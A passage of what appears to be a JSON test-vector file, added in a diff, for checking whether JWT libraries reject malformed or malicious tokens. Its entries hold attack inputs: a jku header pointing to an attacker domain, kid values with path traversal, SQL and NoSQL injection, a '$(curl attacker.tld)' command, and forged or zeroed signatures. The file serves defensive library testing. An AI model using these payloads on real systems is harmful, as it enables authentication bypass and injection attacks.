+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVIaDRlSGg0ZUhoNGVBIiwiZSI6IkFRQUIifX0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "header.jwk RSA + invalid sig; lib must use configured key, not jwk header"
+ },
+ {
+ "id": "jku-attacker-url",
+ "class": "key-injection",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9qd2tzLmpzb24ifQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "header.jku to attacker domain. Lib must not fetch; sig is invalid anyway."
+ },
+ {
+ "id": "kid-eab19b4b",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='../../../../dev/null' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-39ef6067",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Iic7IERST1AgVEFCTEUga2V5czstLSJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid=\"'; DROP TABLE keys;--\" \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-6fedc314",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IiQoY3VybCBhdHRhY2tlci50bGQpIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='$(curl attacker.tld)' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-a5760ebc",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleTFcbmtleTIifQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='key1\\nkey2' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-e96da96f",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IlxcXFxhdHRhY2tlclxcc2hhcmVcXGtleS5wZW0ifQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='\\\\\\\\attacker\\\\share\\\\key.pem' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-138a9d4d",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IntcIiRuZVwiOiBudWxsfSJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='{\"$ne\": null}' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-936d7c04",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uL2V0Yy9wYXNzd2QifQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='../../etc/passwd' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "kid-1aef7966",
+ "class": "kid-injection",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ilx1ZDgzZFx1ZGQxMSJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHg",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "kid='\ud83d\udd11' \u2014 sig bogus, value is whether lib surfaces oddly"
+ },
+ {
+ "id": "sig-empty",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: empty"
+ },
+ {
+ "id": "sig-zero32",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: zero32"
+ },
+ {
+ "id": "sig-ones32",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.__________________________________________8",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: ones32"
+ },
+ {
+ "id": "sig-truncated",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDq",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: truncated"
+ },
+ {
+ "id": "sig-doubled",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: doubled"
+ },
+ {
+ "id": "sig-ascii",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: ascii"
+ },
+ {
+ "id": "sig-padded",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI====",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: padded"
+ },
+ {
+ "id": "sig-urlsafe-vs-std",
+ "class": "sig-mutation",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ+A9ktH6dL28cKDqolUuqZ5B3qmk+IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "sig mutation: urlsafe-vs-std"
+ },
+ {
+ "id": "ecdsa-zero-rs",
+ "class": "ecdsa-encoding",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZOVHAj2poJe0WbUgpGQsRT//R7TI\nwehXbRRwZ9mmX7I+P+KJmNqTlzxOW+UzCvd0GmxHQCR7PpaqmysAzii4tg==\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "ES256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "ES256 with r=0, s=0 \u2014 must reject"
+ },
+ {
+ "id": "ecdsa-65byte",
+ "class": "ecdsa-encoding",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.AA9_Ym-y5bfKMHh4Ka_tdxc3LwRKzBMVzebumiN9KU7JSS3lP4y6r3APRl_gw0ufO8xw8zCliwUYaYfs-4e7Hbc",
+ "key": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZOVHAj2poJe0WbUgpGQsRT//R7TI\nwehXbRRwZ9mmX7I+P+KJmNqTlzxOW+UzCvd0GmxHQCR7PpaqmysAzii4tg==\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "ES256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "ES256 with extra leading zero byte (65 bytes total)"
+ },
+ {
+ "id": "ecdsa-s-zero",
+ "class": "ecdsa-encoding",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.D39ib7Llt8oweHgpr-13FzcvBErMExXN5u6aI30pTskAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZOVHAj2poJe0WbUgpGQsRT//R7TI\nwehXbRRwZ9mmX7I+P+KJmNqTlzxOW+UzCvd0GmxHQCR7PpaqmysAzii4tg==\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "ES256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "ES256 with valid r and s=0"
+ },
+ {
+ "id": "claim-71dc9c73",
+ "class": "claim-typing",
+ "severity": "dos-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoiOTk5OTk5OTk5OSJ9.i8Xg2-_xYp68_Ojs8oBWT6b3rItDxHD73CR_XP14zLthl5DEX0DpBBMiWkijdgxS4lirt7U4BZShxXhKWGBWDJ_lzYgBCMfaSKxlFWbHkBYj8fxKkB_6uvACErurngAqz6d8aRah3R3FB57kFSDRW1oTmQaRinrn3yaGwBOAYwAXE7YS5QpiLpxnUZqQzMvhJus5QL5mSVpw0BIa4BkmzT4S6bIji3cflQFYtCDNZLeWQQL7qLTw8hThTYbSNjJN4FZ2KPlWNyMB-NxiEjkeyd4FpxAglHmdR579p6KyPk8_LMHpVRZwcu6aSFqT90IOZ_syWwpzFMucd0NAfb5r4Q",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "exp as string"
+ },
+ {
+ "id": "claim-bce9753f",
+ "class": "claim-typing",
+ "severity": "dos-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjp0cnVlfQ.EAIHD_Af1JVN8qoH4CkwONnMtBy9Se5-I-EdrAGxQpa55foXE2QYlCQJyk583-Do3lkUgeVOvOxQP7g_9x73IbCLnbn_95veyYBWeaAs1dCJvpqtWJ04arzM4YIVCBk9fIIGGxS8xqfubK7uu5hcxPSI7YwQTJ9i3eZf86OoZiwahGKeifH7YHmSmxN3tTX_Dg6bTc7biLA0DZ46PdcBe1QKR-KV1rRzVbQgF95gBL2wJ8t1jeGHLM_ZY-5hHA8YbmURc87ZnjL6wxW7zhYt7nDm00Xz5O9SB5AfTzL6WJeFMQ1eOjv9SEC760wLT7iKMJeo63zWaOwOHc3dvjdTTA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "exp as bool true"
+ },
+ {
+ "id": "claim-64a1ac41",
+ "class": "claim-typing",
+ "severity": "dos-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjpbOTk5OTk5OTk5OV19.UN_uLgBYgr_Fj_gvFJ1WeDoeVsCaLRryORmmbc5NbYh8po3tntcIv7BgGs8MQg_NujjU290l7R2-Q8MeawKcB737FuVHTwsB2IJGxQGkKrJqVMM-y_GGFcuJQlGSSopyOFah5F3w3_at1ssEQXUsKvjaTT6UHZ81j2N_O07DAi3OfL32XoWjV068ZFx0C-xrNvcTV18sA7tSWlgdzGX3koJfamFmJYcEgSqEIUODd4VFARNEHbFpTGxZdkwRn1jZ_NlaWdG3M6BRIfpXs7Uf9mbNE_XbbyUFGp_IylIptvDkufZM4d7PxO3-feURAH073MOvNJX1kTkyJOyn8Gz0tw",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "exp as 1-elem array"
+ },
+ {
+ "id": "claim-0e144c74",
+ "class": "claim-typing",
+ "severity": "dos-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjpudWxsfQ.E3w15AOUMW_7G0u30zSTktmoZynAaFRQaCuWx84Ru6OECovtozcRVgySiOgzUnAsgVvGgMaIc6HbPWEgkznKl34-Q0dHQOhOMAxBX34EEbiY5kGutPmllQF8QafEzIHhEMLs5xDd2_8qFji-4SzztnBSNlSw0d0Ohp25OGt2wAowv0Em1sy1PtW2aCN-MwhXht3MBQb4RuOga38ljmClncakNz9cl4lYj97SvBGAX8Z9dcRKy6DLKhL7YsEQ-zeXvkYeY4s54oz4jkvQ5I0kIugzEXre7bZuqzfc-ujprJuH481cJsaplm6Z4dAw4tkU0lTwvCCnH27X3eHLQebXxA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "exp as null"
+ },
+ {
+ "id": "claim-8a5d7859",
+ "class": "claim-typing",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjotMX0.2et3X8Hb-2COVxIg5t1GLovqGgF8NcoHzBqW8DmCO4WaJAjpIxHhXLBB3RftvSxJOxi3AUDvJxmBSeRKwI6K6vtgBS0jgclPJltvkoQPV308jw0hdxwE3DgSAYSJjCWO624wJYaj7wf7u2XgH7_AQsqMnd-fFFeLiHU347jTznvdHgsTIK4pw_-t7rHsJuqEAIdvxhXyCtRtVMiQ1FWC8C5cydBltFojY7ooS6RCC1-PsXnBtYu9SjHCQijAaOgvsdc_ifZpagV9tMpTdrSICEvmhDa3jy0If4vQ4XabjheQEg6blpNH6NTmU2ZRsMKkOASeAg3FjKOHLK8e3pbVMg",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "exp negative -1"
+ },
+ {
+ "id": "claim-27f3c75a",
+ "class": "claim-typing",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjowfQ.lURES6SYKVUriQoNo6gc1iHQdf-E1vGQOjnkZDNZLlnwCHu9LzOz1Gpuo0a622pJ6ROr1y23ZIXes_c_o64uzBoT0m9WSgz5v1E0jWek15XnRU17LZF1La5ZIEq1ohseknkioBCn33pkw5V4Z7TqF2keoQqJ-5uBlf6ggdZM9BJTJR3jzq-7NgTa-duFXxklRnZvOBxAQIdy-WvzhwFEjr3EPaabAcTRLx5qGaus6w9mQ9Yq8HwuY0CVyr_M9kvqIKxUEYtOnTqipMplkSwTJ2xAQkj5TonNXcZonq6tp4wm7S_PaCYsCDqwvjfuxj1Cn3Hr_2L4erDWVcyV_sTGAg",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "exp zero"
+ },
+ {
+ "id": "claim-3a15a728",
+ "class": "claim-typing",
+ "severity": "dos-risk",
